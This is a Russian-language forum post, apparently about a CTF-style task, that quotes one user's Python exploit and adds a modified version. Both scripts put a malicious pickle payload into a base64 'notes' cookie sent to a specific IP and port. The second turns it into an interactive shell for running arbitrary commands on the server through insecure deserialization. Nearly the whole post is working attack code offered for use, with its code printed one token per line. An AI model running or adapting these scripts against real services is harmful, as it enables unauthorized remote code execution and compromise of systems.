Показать сообщение отдельно

  #4  
Старый 14.02.2024, 20:33
fara0n
Новичок
Регистрация: 13.10.2023
Сообщений: 0
С нами: 1362405

Репутация: 0
По умолчанию

Цитата:

Exited3n сказал(а):

Также реализовал, только в одно сплоите:

Python:


Код:
import
requests
import
pickle
import
base64
import
subprocess
class
PayLoad
(
object
)
:
def
__reduce__
(
self
)
:
return
subprocess
.
check_output
,
(
(
'ls'
,
'-lah'
)
,
)
a
=
pickle
.
dumps
(
PayLoad
(
)
)
cookie
=
base64
.
b64encode
(
a
)
url
=
"http://62.173.140.174:16040/"
cookies
=
{
"notes"
:
cookie
.
decode
(
'utf-8'
)
}
req
=
requests
.
get
(
url
,
cookies
=
cookies
)
data
=
req
.
text
[
500
:
]
.
replace
(
'
'
,
''
)
.
replace
(
''
,
''
)
.
replace
(
''
,
''
)
.
replace
(
''
,
''
)
.
split
(
)
flag
=
''
.
join
(
[
chr
(
int
(
i
)
)
for
i
in
data
]
)
print
(
'Pickle base64 encoded payload:'
,
cookie
.
decode
(
'utf-8'
)
)
print
(
f'Flag:{flag}'
)
Как хочешь, кто то берет сервер, у кого нет ни серва ни IP, то ngrokв помощь!

Чуть-чуть внёс изменения в Ваш скрипт для удобной работы. Теперь, можно вводить команды и получать результат без необходимости менять команды в самом скрипте.

Цитата:

Python:


Код:
import
requests
import
pickle
import
base64
import
subprocess
class
PayLoad
(
object
)
:
def
__reduce__
(
self
)
:
# print(cmd.split())
return
(
subprocess
.
check_output
,
(
cmd
.
split
(
)
,
)
)
while
True
:
try
:
cmd
=
input
(
"cmd> "
)
cmd
=
cmd
.
rstrip
(
)
.
encode
(
)
.
decode
(
)
if
cmd
==
'exit'
:
break
a
=
pickle
.
dumps
(
PayLoad
(
)
)
cookie
=
base64
.
b64encode
(
a
)
url
=
"http://62.173.140.174:16040/"
cookies
=
{
"notes"
:
cookie
.
decode
(
'utf-8'
)
}
req
=
requests
.
get
(
url
,
cookies
=
cookies
)
data
=
req
.
text
[
500
:
]
.
replace
(
'
'
,
''
)
.
replace
(
''
,
''
)
.
replace
(
''
,
''
)
.
replace
(
''
,
''
)
.
split
(
)
sh_comman
=
''
.
join
(
[
chr
(
int
(
i
)
)
for
i
in
data
]
)
print
(
f'\n{sh_comman}'
)
except
KeyboardInterrupt
:
exit
(
0
)
Для выхода пишем exit либо Ctrl+C
 
Ответить с цитированием